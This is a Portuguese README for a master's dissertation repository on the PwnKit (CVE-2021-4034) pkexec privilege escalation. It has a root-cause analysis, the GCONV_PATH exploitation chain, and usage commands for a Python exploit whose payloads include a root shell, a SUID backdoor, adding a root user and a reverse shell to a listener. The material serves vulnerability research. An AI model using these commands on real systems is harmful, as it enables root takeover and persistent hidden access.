
Pesquisa de dissertação de mestrado sobre CVE-2021-4034 (PwnKit) escalonamento de privilégio local. Exploit Python multi-payload com 7 modos incluindo shell interativo, backdoor SUID, reverse shell e criação de usuário root. Inclui análise de causa raiz e documentação da cadeia de exploração.
Vulnerabilidade de corrupção de memória no utilitário pkexec do polkit
Escalação de Privilégio Local → root via escrita fora dos limites (out-of-bounds write)
Afetados: polkit 0.105-31 e anteriores · Correção: polkit 0.105-33 (janeiro de 2022)
Shell root interativo obtido via CVE-2021-4034 - PwnKit
Este repositório contém minha pesquisa de Dissertação de Mestrado sobre a CVE-2021-4034, uma vulnerabilidade de alta gravidade (CVSS 7.8) de Escalação de Privilégio Local no utilitário pkexec do polkit, comumente conhecida como PwnKit.
A vulnerabilidade tem origem em uma escrita fora dos limites (out-of-bounds write) na lógica de processamento de argumentos do pkexec. Quando o pkexec é executado com um argv vazio ou manipulado, ele lê e escreve além dos limites do array argv, dentro do array envp, permitindo que um usuário local sem privilégios injete variáveis de ambiente maliciosas que são posteriormente carregadas como uma biblioteca compartilhada, executando código arbitrário com privilégios de root.
| Aspecto | Descrição |
|---|---|
| Exploit multi-payload | Wrapper em Python com 6 modos de payload, incluindo shell, id, backdoor e reverse shell |
| Configuração automatizada do ambiente | Construção automática do GCONV_PATH e configuração do gconv-modules |
| Módulos de pós-exploração | Backdoor SUID, criação de usuário root e execução de comandos personalizados |
| Documentação acadêmica | Análise de causa raiz, cadeia de exploração e linha do tempo da vulnerabilidade |
CVE-2021-4034/
├── README.md # This file
├── LICENSE # MIT License
│
├── exploit/
│ └── pwnkit.py # Advanced exploit with multiple payloads
│
└── docs/
├── screenshots/ # Exploitation demonstrations
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Vulnerability root cause analysis
├── 02-exploitation-chain.md # Exploitation chain breakdown
└── 03-timeline.md # CVE timeline
pkexec --version mostra 0.105 ou anterior)apt install gcc)# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell
# Verify execution context
python3 exploit/pwnkit.py -p whoami
# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"
# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
| Payload | Descrição | Saída |
|---|---|---|
shell | Inicia um /bin/sh interativo como root | Shell interativo |
id | Grava a saída de id e whoami em /tmp/pwnkit_id.txt | Arquivo |
whoami | Grava a verificação de UID/eUID em /tmp/pwnkit_root_test | Arquivo |
backdoor_suid | Cria uma cópia bash SUID de root em /tmp/.sh | Backdoor persistente |
add_root_user | Adiciona usuário personalizado ao /etc/passwd | Acesso persistente |
reverse_shell | Conecta de volta ao atacante via Python | Shell remoto |
custom | Executa qualquer comando como root | Stdout / arquivo |
O pkexec processa seu próprio argv para localizar o programa que será executado. Quando invocado com argc == 0 (vetor de argumentos vazio), a verificação de limites do argv falha silenciosamente. A subsequente leitura fora dos limites trata envp[0] como argv[1], e a escrita fora dos limites de volta em envp permite que um atacante substitua uma variável de ambiente por um caminho manipulado. Quando o pkexec chama g_printerr() posteriormente, ele carrega GCONV_PATH do ambiente agora controlado pelo atacante, carregando uma biblioteca compartilhada fornecida pelo atacante com privilégios de root.
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)
| Componente | Valor | Notas |
|---|---|---|
| Binário vulnerável | /usr/bin/pkexec | SUID root |
| Condição de disparo | argc == 0 | argv vazio |
| Primitiva de escrita | Escrita OOB em envp | Via argv[argc-1] |
| Mecanismo de carga | GCONV_PATH + gconv-modules | iconv padrão do glibc |
| Contexto de execução | gconv_init() na biblioteca compartilhada | Executa como EUID 0 |
| Versões afetadas | polkit ≤ 0.105-31 | Todas as principais distros Linux |







Todos os testes foram conduzidos em uma VM VirtualBox isolada executando Ubuntu 20.04 LTS com polkit 0.105-26 (vulnerável), sem exposição à rede.